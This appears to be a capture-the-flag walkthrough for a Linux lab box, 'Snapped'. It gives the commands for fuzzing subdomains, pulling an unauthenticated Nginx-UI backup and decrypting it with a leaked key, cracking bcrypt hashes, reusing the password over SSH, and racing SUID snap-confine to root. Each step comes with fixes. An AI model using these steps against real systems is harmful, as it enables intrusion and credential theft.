← all walkthroughs

Snapped

Linux· Hard
owned
2026-10-12
time to own
1h5m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

External enumeration of $TARGET (snapped.htb) exposed only SSH and a static marketing site on the main vhost, but vhost fuzzing uncovered an admin.snapped.htb subdomain running Nginx-UI. Endpoint fuzzing found an unauthenticated backup API vulnerable to CVE-2026-27944, which returned a ZIP of the full Nginx-UI configuration and SQLite database while leaking the AES key/IV used to encrypt the inner archive via a response header.

Decrypting the archive exposed bcrypt password hashes; one was cracked offline to a weak, dictionary-crackable password that was reused for SSH, yielding a low-privilege foothold and user.txt. Local enumeration found a SUID snap-confine binary from an outdated snapd build vulnerable to CVE-2026-3888, a TOCTOU race in the sandbox 'mimic' mount construction; racing it against the firefox snap's configure hook allowed substitution of a malicious dynamic loader inside the mount namespace, yielding a root shell and root.txt.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"

Some commands also carry a value in angle brackets — <b64iv>, <b64key>, <hexiv>, <hexkey>, <timestamp> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1Reconnaissancenmap
Port and service scan
An nmap scan of the target revealed only two open ports: SSH (22) and Nginx (80). The HTTP service redirected to the hostname snapped.htb, which resolved to a static marketing site with no further attack surface.
Exact commands 1
shell

Full TCP port and service/version scan

$ nmap -p- -sC -sV -oA snapped $TARGET
2Discoveryffuf vhost + content discovery
Virtual host and API endpoint fuzzing
Because the main site was a dead end, virtual-host fuzzing against the base domain uncovered an 'admin' subdomain hosting an Nginx-UI login page. Fuzzing that application's API paths showed most endpoints returned 403 Forbidden, but /api/backup and /api/licenses responded 200 without authentication.
Exact commands 2
shell

Virtual host brute force against snapped.htb

$ ffuf -u http://FUZZ.snapped.htb -H "Host: FUZZ.snapped.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 0
shell

Unauthenticated API endpoint discovery on admin.snapped.htb

$ ffuf -u http://admin.snapped.htb/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -mc 200,403
3Initial Access - Data ExposureCVE-2026-27944 (Nginx-UI unauthenticated backup + key disclosure)
Unauthenticated backup download with leaked decryption key (CVE-2026-27944)
The unauthenticated /api/backup endpoint on Nginx-UI <=2.3.2 returned a ZIP archive containing the full nginx and Nginx-UI configuration, including the application's SQLite database. The response also carried an X-Backup-Security header containing the base64-encoded AES key and IV used to encrypt the inner Nginx-UI archive, allowing it to be decrypted without any credentials.
HTTP 200 on /api/backup with no auth; X-Backup-Security response header present in the curl -v output
Exact commands 6
shell

Download backup ZIP; X-Backup-Security: <b64key>:<b64iv> printed in verbose headers

$ curl -OJ -v http://admin.snapped.htb/api/backup
shell

Decode AES key to hex

$ echo "<b64key>" | base64 -d | xxd -p -c256
shell

Decode AES IV to hex

$ echo "<b64iv>" | base64 -d | xxd -p -c256
shell

Extracts hash_info.txt, nginx-ui.zip, nginx.zip

$ unzip -d backup backup-<timestamp>.zip
shell

Decrypt the inner Nginx-UI archive using the leaked key/IV

$ openssl enc -aes-256-cbc -d -in backup/nginx-ui.zip -out nginxui_decrypted.zip -K <hexkey> -iv <hexiv>
shell

Yields app.ini and database.db

$ unzip nginxui_decrypted.zip
FixUnauthenticated Nginx-UI backup endpoint with key disclosure (CVE-2026-27944)Critical
WeaknessNginx-UI <=2.3.2 exposes /api/backup without authentication, and the response leaks the AES key/IV needed to decrypt the inner backup archive via the X-Backup-Security header, allowing full configuration and credential database exfiltration by any unauthenticated network client.
FixUpgrade Nginx-UI beyond the patched version (>=2.3.3 or later per vendor advisory). Require authentication on all /api/* endpoints including /api/backup and /api/licenses. Never transmit decryption key material in HTTP response headers; generate and store it server-side only, and rotate any keys that may have been exposed.
4Credential Accesssqlite3 / hashcat -m 3200 (bcrypt)
Database dump and offline hash cracking
The decrypted Nginx-UI SQLite database contained a users table with bcrypt password hashes for the accounts 'admin' and 'jonathan'. Offline cracking recovered a weak, dictionary-crackable password for jonathan's hash (admin's hash did not crack).
Users table returned two bcrypt rows; hashcat reported a cracked status for jonathan's hash only
Exact commands 2
shell

Dump user accounts and bcrypt hashes

$ sqlite3 database.db "select * from users;"
shell

Crack jonathan's bcrypt hash against rockyou

$ hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
FixWeak, reused password across web application and SSHHigh
WeaknessThe jonathan account used a weak password that was crackable from its bcrypt hash via a standard wordlist, and the same password was reused for both the Nginx-UI web application and the SSH login, allowing a single compromised credential to pivot across services.
FixEnforce a strong, unique password policy with minimum complexity and length, and require MFA for SSH and administrative web logins. Prohibit password reuse between applications and system accounts, and rotate any credentials that may have been exposed in a breach or backup.
5Initial Access - FootholdSSH credential reuse
SSH foothold via credential reuse
The password recovered from the web application's database was reused for the jonathan Linux account over SSH, providing an unprivileged shell with no sudo, adm, lxd, or docker group membership. user.txt was captured from the home directory.
Id returned uid=1000(jonathan) with no privileged group memberships
Exact commands 3
shell

Authenticate with the cracked password: $PASSWORD

$ ssh jonathan@snapped.htb
shell

Confirm uid=1000(jonathan), no sudo/adm/lxd/docker groups

$ id
uid=1000(jonathan)
shell

Capture <user.txt>

$ cat /home/jonathan/user.txt
6Privilege EscalationCVE-2026-3888 (snap-confine mimic TOCTOU race)
Snap-confine TOCTOU race to root (CVE-2026-3888)
The host ran snapd 2.63.1 on Ubuntu 24.04 (vulnerable range <2.74.2) with the SUID-root snap-confine binary. CVE-2026-3888 is a race condition in snap-confine's sandbox 'mimic' construction, which builds a writable-looking view of a normally read-only system directory inside the mount namespace. By repeatedly invoking snap-confine against the firefox snap's configure hook, anchoring a process in /tmp, and racing the transient world-writable staging paths snap-confine creates while assembling the mount namespace, a malicious statically-linked shell and a planted shared object were substituted at the path the dynamic loader resolves to inside the sandbox before snap-confine finished dropping privileges. The root-owned snap-confine process then executed the planted loader/shell as root, yielding a root shell and root.txt.
Snap-confine present at /usr/lib/snapd/snap-confine with mode 4755 (root-owned SUID); snapd --version reported 2.63.1
Exact commands 5
shell

Enumerate SUID binaries; identifies /usr/lib/snapd/snap-confine

$ find / -perm -4000 -type f 2>/dev/null
shell

Confirm vulnerable snapd 2.63.1 on Ubuntu 24.04

$ snap --version
shell

Stage working directory for the race

$ mkdir -p /tmp/race && cd /tmp/race
shell

Repeatedly invoke snap-confine against firefox's configure hook to trigger the mimic race window

$ while true; do env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base core22 snap.firefox.hook.configure /bin/bash; done
shell

Capture <root.txt> once the race lands a root shell

$ cat /root/root.txt
FixOutdated snapd vulnerable to snap-confine TOCTOU race (CVE-2026-3888)Critical
WeaknessThe host ran snapd 2.63.1, within the vulnerable range (<2.74.2) for a time-of-check-to-time-of-use race in snap-confine's sandbox mount namespace construction. Because snap-confine is SUID root, winning the race lets a local unprivileged user substitute sandbox-loaded binaries and escalate to root.
FixPatch snapd to >=2.74.2 or the latest vendor-supported release on all hosts. Restrict local, unprivileged invocation of snap-confine where snaps are not required, monitor for repeated/rapid snap-confine invocations, and apply the vendor security advisory promptly.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp